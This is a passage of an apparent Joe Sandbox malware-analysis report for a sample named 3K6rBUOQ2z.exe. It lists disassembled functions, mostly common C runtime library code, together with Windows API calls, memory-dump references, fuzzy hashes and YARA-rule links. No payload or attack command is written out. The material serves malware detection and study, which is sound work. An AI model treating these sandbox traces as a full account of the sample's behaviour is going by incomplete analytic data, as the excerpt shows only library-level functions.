Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: cb1c894d2cda448839c8e2a8665fbefda6a0446c15ff34be0ccd710a5c402308
Instruction ID: 7e0a2054198a3f627b51ebbd791d94cb99ce3d76a099f8cfcb9b0e2a4681bd24
Opcode Fuzzy Hash: cb1c894d2cda448839c8e2a8665fbefda6a0446c15ff34be0ccd710a5c402308
Instruction Fuzzy Hash: B8110236E00514AAF352C6748CC5E6F328AFBC92F17210724F52C921EADE79DE048631

Function 00411354 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0040C33E,004124E1,?,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?), ref: 00411359
_free.LIBCMT ref: 004113B6
_free.LIBCMT ref: 004113EC
SetLastError.KERNEL32(00000000,00000008,000000FF,?,0040A15B,?,?,?,004010EC,?,004034A7,?,?,?), ref: 004113F7

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: a225b34e5669a597189d7f1afa456a980380f95de764cdce8a1da94a10b7a370
Instruction ID: 755f6b258ceaa8e65099160f8bc9def63f750f9b951ab46e134be7d7a93c0062
Opcode Fuzzy Hash: a225b34e5669a597189d7f1afa456a980380f95de764cdce8a1da94a10b7a370
Instruction Fuzzy Hash: AD11CA317005042BA611277A6C82EEB16598BC13B8B64033BFF24821F1EA2D8C92411D

Function 04B4C07E Relevance: 6.1, APIs: 4, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,04B4C13F,?,?,0042B000,00000000,?,04B4C26A,00000004,0041EAFC,0041EAF4,0041EAFC,00000000), ref: 04B4C10E

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction ID: fc2cc1ff71d54b07b6cac171b20c902f5989dabbeed35ce056e4c10f738151fd
Opcode Fuzzy Hash: 8c81ecf0019ecd7373f14f2a550921ad389bcfade9b3345979a598c502b3af19
Instruction Fuzzy Hash: B811E731A42221ABDB224F699C45B9D3B74EF46FA0F1241A0FE01B7380D770F90096D8

Function 04CEA1A4 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04CEA1C0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04CEA1D9

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction ID: d8cf10429ad78adbbf649e9e716cdc821bb75004371922dd5f56d618f8819c6d
Opcode Fuzzy Hash: 6119c639a046b9dd424e980e58b60d2be106995ff750bb25c6883d2720f1beb8
Instruction Fuzzy Hash: DD01D4323092119FA7342F77BC859772B56EB056B9730023AE914650E1FF1B7D126154

Function 04B5B089 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,04B5AD36,00000000,00000001,00000000,00000000,?,04B5830F,00000000,00000000,00000000), ref: 04B5B0A0
GetLastError.KERNEL32(?,04B5AD36,00000000,00000001,00000000,00000000,?,04B5830F,00000000,00000000,00000000,00000000,00000000,?,04B58863,?), ref: 04B5B0AC

Part of subcall function 04B5B072: CloseHandle.KERNEL32(0042A930,04B5B0BC,?,04B5AD36,00000000,00000001,00000000,00000000,?,04B5830F,00000000,00000000,00000000,00000000,00000000), ref: 04B5B082

___initconout.LIBCMT ref: 04B5B0BC

Part of subcall function 04B5B034: CreateFileW.KERNEL32(004265E8,40000000,00000003,00000000,00000003,00000000,00000000,04B5B063,04B5AD23,00000000,?,04B5830F,00000000,00000000,00000000,00000000), ref: 04B5B047

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,04B5AD36,00000000,00000001,00000000,00000000,?,04B5830F,00000000,00000000,00000000,00000000), ref: 04B5B0D1

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction ID: 54ca15ac29abb2cc356db3baf26df87052cd03596aeb9704bf31b045e8cf73b7
Opcode Fuzzy Hash: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction Fuzzy Hash: EFF03036901114BFCF226FA1DC08ADDBF26FF086A4F094460FE1E96130C632A961DB95

Function 1000CD22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001), ref: 1000CD39
GetLastError.KERNEL32(?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001,?,1000BFFB,10009A1A), ref: 1000CD45

Part of subcall function 1000CD0B: CloseHandle.KERNEL32(FFFFFFFE,1000CD55,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001), ref: 1000CD1B

___initconout.LIBCMT ref: 1000CD55

Part of subcall function 1000CCCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000CCFC,1000C7D5,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CCE0

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CD6A

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction ID: e182fa176b596d651ba3484f1012657cf00b5fef4cb1dd311ab1bc31a0a6f155
Opcode Fuzzy Hash: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction Fuzzy Hash: 53F030368002A9BBEF125F95CC48EC93FA6FB0D3E0F018025FA0885130DA32C9609B90

Function 0041AE22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000), ref: 0041AE39
GetLastError.KERNEL32(?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000,00000000,00000000,?,004185FC,00000000), ref: 0041AE45

Part of subcall function 0041AE0B: CloseHandle.KERNEL32(FFFFFFFE,0041AE55,?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000,00000000,00000000), ref: 0041AE1B

___initconout.LIBCMT ref: 0041AE55

Part of subcall function 0041ADCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041ADFC,0041AABC,00000000,?,004180A8,00000000,00000020,00000000,00000000), ref: 0041ADE0

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,0041AACF,00000000,00000001,00000000,00000000,?,004180A8,00000000,00000020,00000000,00000000), ref: 0041AE6A

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction ID: ee4a97f4c5e0560d025622a6e285d837d398bf1ce1ecb10de8e4d9e98fca97b7
Opcode Fuzzy Hash: 97bc7316d447aef358a923f7b3dd71aa940d3f3799f1ac4c849028fc35db30d0
Instruction Fuzzy Hash: 26F0F836942214BBCF222F929C049CA3F26EF087A5F054025FA0985130C63689B19B9A

Function 004091F8 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00409195,00000064), ref: 0040921B
RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409225
WaitForSingleObjectEx.KERNEL32(0040104A,00000000,?,00409195,00000064,?,?,?,0040104A,0042BB40), ref: 00409236
RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040923D

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 6ea53ab934fb8a3dcf50dd5c11f10886be54903c7cc97662d191e9518fa7b0c1
Instruction ID: 40c2fce60939aafa0776eae2e2369d18d4b8ec69fabe1ce25dfd7c9304a85116
Opcode Fuzzy Hash: 6ea53ab934fb8a3dcf50dd5c11f10886be54903c7cc97662d191e9518fa7b0c1
Instruction Fuzzy Hash: 67E092B1B40234BBCB112B90FE08ACD7F24EB0CB51B458072FD0666161C77D09228BDE

Function 04CEFE46 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04CEFE4F
_free.LIBCMT ref: 04CEFE62
_free.LIBCMT ref: 04CEFE73
_free.LIBCMT ref: 04CEFE84

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction ID: a52cc2ab89454d24c6d9fecf1b2cf4ea9ab31382e6dc5c5c8b4052db5e01ed63
Opcode Fuzzy Hash: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction Fuzzy Hash: 81E0EC71B133209A96726F15BD4044AFF62EBD4F143C5803AE54012332C77A2953EBCE

Function 04B50CAD Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04B50CB6

Part of subcall function 04B51D29: HeapFree.KERNEL32(00000000,00000000,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?), ref: 04B51D3F
Part of subcall function 04B51D29: GetLastError.KERNEL32(?,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?,?), ref: 04B51D51

_free.LIBCMT ref: 04B50CC9
_free.LIBCMT ref: 04B50CDA
_free.LIBCMT ref: 04B50CEB

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction ID: 2a638163b3dbc4a5c9aadf3cbc1385501b8d40215370a85339a438bd3f7c2bfd
Opcode Fuzzy Hash: adaab86243d259393613f04f27d957ce20d16d85c081b3fe77030dc48aa8ee98
Instruction Fuzzy Hash: 52E0EC79E13334AAD6366F18BD40649FF69EBD8B143C50076E83012270C7322553ABCE

Function 100067E8 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 100067F1

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 10006804
_free.LIBCMT ref: 10006815
_free.LIBCMT ref: 10006826

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: debb3193547cbbcb7717f1e4cdc42473b8e46860ea64e0849bed9af40c6c58a4
Instruction ID: 2a5a278bef7b5ad6e03033ca92f6b3e0bb2fc7991e1f46602c590ec50041d4ba
Opcode Fuzzy Hash: debb3193547cbbcb7717f1e4cdc42473b8e46860ea64e0849bed9af40c6c58a4
Instruction Fuzzy Hash: FBE0E675D10131BAF711EF249C8644E3FA1F799A503068015F528222B7C7369751DFE3

Function 00410A46 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00410A4F

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 00410A62
_free.LIBCMT ref: 00410A73
_free.LIBCMT ref: 00410A84

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7b30c710dcdd7188d0b07851f7036ca18a8931f72254c168f329d64b926ff840
Instruction ID: 4f604ca58aada12d27b251242fa97a7c83cac521b99ee6611507b97af23f288b
Opcode Fuzzy Hash: 7b30c710dcdd7188d0b07851f7036ca18a8931f72254c168f329d64b926ff840
Instruction Fuzzy Hash: 46E0EC71B13360AA8632AF15BD41589FFA1EFD4B543C9003BF50812631D73909939BCE

Function 0040F8ED Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0040F97D

Strings

pow, xrefs: 0040F955, 0040F972

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 31981e0ef883c4d92876c0cf8fbbce67339a08b3983a5bf5b0a922faacb7e412
Instruction ID: a4333340e488540e58a7cc811cab45b4078f0fd2139a3ee8952107b79a1fd4b1
Opcode Fuzzy Hash: 31981e0ef883c4d92876c0cf8fbbce67339a08b3983a5bf5b0a922faacb7e412
Instruction Fuzzy Hash: C15190B1B08601E6CB317718C9413EB6BD09B80701F64497BE495527E9EB3C8CDA9E8F

Function 04B503E4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\3K6rBUOQ2z.exe, xrefs: 04B50427, 04B5042E, 04B50464

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\3K6rBUOQ2z.exe
API String ID: 0-2708042248
Opcode ID: 9c4445743612698079b74687b6d690de0a76c3e5134965afe2d5fa7eb50f9b57
Instruction ID: a738876d3c2ff8ac166625f641da9be7d3e0f88f925c14354a04c58037eea498
Opcode Fuzzy Hash: 9c4445743612698079b74687b6d690de0a76c3e5134965afe2d5fa7eb50f9b57
Instruction Fuzzy Hash: 6D416671A00218AFDB21EF9DDC81AAEFBB8EFC5314B5000A6E805D7261E770AA41DB54

Function 10006038 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\3K6rBUOQ2z.exe, xrefs: 1000607B, 10006082, 100060B8

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\3K6rBUOQ2z.exe
API String ID: 0-2708042248
Opcode ID: 4a8ba0bb3459913fcd586df3a76a6e4d0e3c9f4097a590b62cd75fbc9ff119e1
Instruction ID: cc2ecb4b5d0b55cd4a25e2381517e3645a439caaa5f14caae8cc7f97f4731dcb
Opcode Fuzzy Hash: 4a8ba0bb3459913fcd586df3a76a6e4d0e3c9f4097a590b62cd75fbc9ff119e1
Instruction Fuzzy Hash: 9241AD75E00215BBEB11CB99CC8199FBBF9EF89390B244066F901A7216D6719B80CB90

Function 0041017D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\3K6rBUOQ2z.exe, xrefs: 004101C0, 004101C7, 004101FD

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\3K6rBUOQ2z.exe
API String ID: 0-2708042248
Opcode ID: 071b538174e6ec2062faa24906a4cfa7e50636e93d54360a723864c0abc3d007
Instruction ID: ef1b21c86d4c641325268a2e562e5aacaa8476dc5588200f607cc18d3bf73bc2
Opcode Fuzzy Hash: 071b538174e6ec2062faa24906a4cfa7e50636e93d54360a723864c0abc3d007
Instruction Fuzzy Hash: A8416471E00214ABCB219B999C85AEFBBF8EFD4350B1440ABF50497251D7B99EC1CB98

Function 04B4AE47 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 04B4AE86
__IsNonwritableInCurrentImage.LIBCMT ref: 04B4AF3A

Strings

csm, xrefs: 04B4AF24

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction ID: d8fea0a21baf093387e28021d95f836c02d33f5530b8aa594742145cc105e3b7
Opcode Fuzzy Hash: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction Fuzzy Hash: CA41C470A40218ABCF10DF68C884A9EBFB4EF89318F1485D5EC18AB351D735FA15DBA1

Function 04B4B6EC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04B4B711

Strings

MOC, xrefs: 04B4B723
RCC, xrefs: 04B4B72B

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction ID: 923960378f10a42f4d89f9f1eca47e0f2ee5ca5c2c0ddb50a050844d7370f4e8
Opcode Fuzzy Hash: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction Fuzzy Hash: 53415871900209AFDF15CF98C881AEEBBB5FF88314F158099FA15A7211D335F950EB50

Function 100044D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 100044FB

Strings

RCC, xrefs: 10004515
MOC, xrefs: 1000450D

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction ID: 0fa13f4c886c2deeb8e1184eea68dc96f9460117e0f406c7378fe553058e7938
Opcode Fuzzy Hash: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction Fuzzy Hash: 7B419DB5900109AFEF06CF94CC81AEE7BB5FF48384F168059F9046B25AD736EA50CB55

Function 0040B485 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0040B4AA

Strings

MOC, xrefs: 0040B4BC
RCC, xrefs: 0040B4C4

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction ID: 67f376c023d9800a5206fdaf198d645220277734bcfb559d46511f35e7f4eabb
Opcode Fuzzy Hash: 16a00d9b10077e87a2e6bda56ac5cedb43e1d1180fe444446107c7dbba074086
Instruction Fuzzy Hash: 95415871900209AFDF15DF94CD81AAEBBB5EF48308F1480AAFA1576291D3399A50DB98

Function 04CE0730 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CE07BB

Strings

FEKN, xrefs: 04CE078A
NE]D, xrefs: 04CE0750

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: Init_thread_footer
String ID: FEKN$NE]D
API String ID: 1385522511-517842756
Opcode ID: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction ID: af7ab7e38aa52ae6639d52fbd05c6275cdb13fcaddd4cc79a55e08244c84fa41
Opcode Fuzzy Hash: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction Fuzzy Hash: BA214830B00645CFE720DF2AE845BB937A1FB85308F944269D8541B262EBB53686CBD9

Function 04B41597 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 04B493D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B493E2
Part of subcall function 04B493D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B4941F

__Init_thread_footer.LIBCMT ref: 04B41622

Part of subcall function 04B4938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B49397
Part of subcall function 04B4938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B493CA

Strings

NE]D, xrefs: 04B415B7
FEKN, xrefs: 04B415F1

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: FEKN$NE]D
API String ID: 4132704954-517842756
Opcode ID: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction ID: c6b6ce85a24c3fb136392ac9d6bd6c39d7965e59de907ef64728266f1d67071b
Opcode Fuzzy Hash: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction Fuzzy Hash: D3214870B00245CBEB20DF38E849BA977A0EFD5308F9442A9D8141B261EBB57586D7CE

Function 00401330 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 004013BB

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

NE]D, xrefs: 00401350
FEKN, xrefs: 0040138A

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: FEKN$NE]D
API String ID: 2296764815-517842756
Opcode ID: 37e1153e5d0601956be4df5595081ba34075aac515f72f9cd57d9b237f69f675
